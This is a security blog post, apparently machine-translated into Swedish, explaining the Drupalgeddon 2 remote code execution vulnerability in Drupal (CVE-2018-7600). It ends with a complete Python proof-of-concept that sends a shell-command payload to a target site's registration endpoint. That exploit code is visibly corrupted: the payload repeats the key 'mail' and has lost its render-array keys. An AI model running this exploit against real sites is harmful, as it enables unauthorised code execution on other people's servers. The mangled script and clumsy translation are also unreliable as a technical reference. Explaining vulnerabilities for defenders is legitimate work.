Drupalgeddon 2 RCE-SecPod blogg

mer än en miljon aktiva webbplatser använder Drupal, vilket gör det till det näst mest använda innehållshanteringssystemet över hela världen efter WordPress. Den 28 mars 2018 släppte Drupal säkerhetsuppdateringar för versioner 6 till 8 som föreslår att de uppdateras omedelbart och markerar den underliggande sårbarheten (CVE-2018-7600) som kritisk med fjärrkörning av kod. Skanningen och attackerna på webbplatserna som använder Drupal ökade exponentiellt som förväntat, men det fanns inga rapporter om att sårbarheten utnyttjades i naturen. Sedan för några dagar sedan en rysk säkerhetsforskare publicerade en proof-of-concept (POC) utnyttja kod på GitHub och Internet gick bärsärkagång.

exploatering samlat och angripare började använda den för att installera cryptocurrency miners och malware bakdörrar. Man tror att en av Monero miner-kampanjerna som levererade XMRig medan man utnyttjade sårbarheten (CVE-2017-10271) i Oracle WebLogic-servrar är inblandad.

enligt statistiken är 90% av Drupalgeddon 2-attacker inget annat än skanningar för att hitta sårbara system, 3% är bakdörrinfektionsförsök och 2% försöker köra kryptogruvarbetare.

Drupal i sin rådgivande varnade ”webbplatser som inte lappats av Onsdag, 2018-04-11 kan äventyras” och ” helt enkelt uppdatera Drupal kommer inte att ta bort bakdörrar eller fixa komprometterade webbplatser. Om du upptäcker att din webbplats redan är patchad, men du inte gjorde det, kan det vara ett symptom på att webbplatsen äventyras. Vissa attacker i det förflutna har tillämpat korrigeringsfilen som ett sätt att garantera att endast den angriparen har kontroll över webbplatsen.”

teknisk jargong

Drupal introducerade sitt formulär API i Drupal 6 vilket möjliggjorde ändring av formulärdata under formuläråtergivningsprocessen. Detta revolutionerade hur markup-bearbetning fungerade. I Drupal 7 formen API generaliserades till vad som nu kallas”Renderable Arrays”. Detta utökade API används för att representera strukturen för de flesta av UI-elementen i Drupal, till exempel sidor, block, noder och mer. Renderbara matriser innehåller metadata som används i renderingsprocessen. Dessa renderbara arrayer är en nyckelvärdestruktur där egenskapsnycklarna börjar med ett hash-tecken (#). Ett exempel:

Drupal släppte en patch som bara lägger till en enda klass RequestSanitizer med en stripDangerousValues-metod som unsets alla objekt i en inmatningsmatris för nycklar som börjar med ett hash-tecken. Denna metod sanerar indata i $_GET, $_POST & $_COOKIES under de mycket tidiga stadierna av Drupals bootstrap (omedelbart efter att ha laddat webbplatskonfigurationerna). Det kan antas att anledningen till att patchen släpptes är att göra en befintlig sårbarhet svårare att hitta.

sårbarheten hittades i formulären. Användarregistreringsformuläret som inte kräver någon autentisering och kan nås anonymt innehåller flera inmatningsfält och kan utnyttjas.

Bildkälla: Checkpoint, Dofinity

det var mycket troligt att injicering av en renderbar array skulle utnyttja sårbarheten, frågan Var var?

som det visar sig sanerar fältet ”E-postadress” inte den typ av inmatning den tar emot som gjorde det möjligt för oss att injicera den renderbara arrayen till formulärmatrisstrukturen.

Bildkälla : Checkpoint, Dofinity

nu var allt vi behövde för Drupal att göra vår injicerade array. Eftersom Drupal behandlar vår injicerade array som ett värde och inte som ett element, behövde vi lura Drupal till att göra det. Drupal gör en array på sidan belastning händelse eller via Drupal AJAX API.

fältet ”bild” i användarregistreringsformuläret använder Drupals AJAX API för att ladda upp en bild och ersätta den med en miniatyrbild av den uppladdade bilden.

Proof-of-concept (POC)

#!/usr/bin/env python3import sysimport requestsprint ('################################################################')print ('# Proof-Of-Concept for CVE-2018-7600')print ('# by Vitalii Rudnykh')print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')print ('# https://github.com/a2u/CVE-2018-7600')print ('################################################################')print ('Provided only for educational or information purposes\n')target = input('Enter target url (example: https://domain.ltd/): ')# Add proxy support (eg. BURP to analyze HTTP(s) traffic)# set verify = False if your proxy certificate is self signed# remember to set proxies both for http and https# # example:# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}# verify = Falseproxies = {}verify = Trueurl = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail': 'exec', 'mail': 'markup', 'mail': 'echo ";-)" | tee hello.txt'}r = requests.post(url, proxies=proxies, data=payload, verify=verify)check = requests.get(target + 'hello.txt', verify=verify)if check.status_code != 200: sys.exit("Not exploitable")print ('\nCheck: '+target+'hello.txt')

Lämna ett svar

Din e-postadress kommer inte publiceras.

Related Posts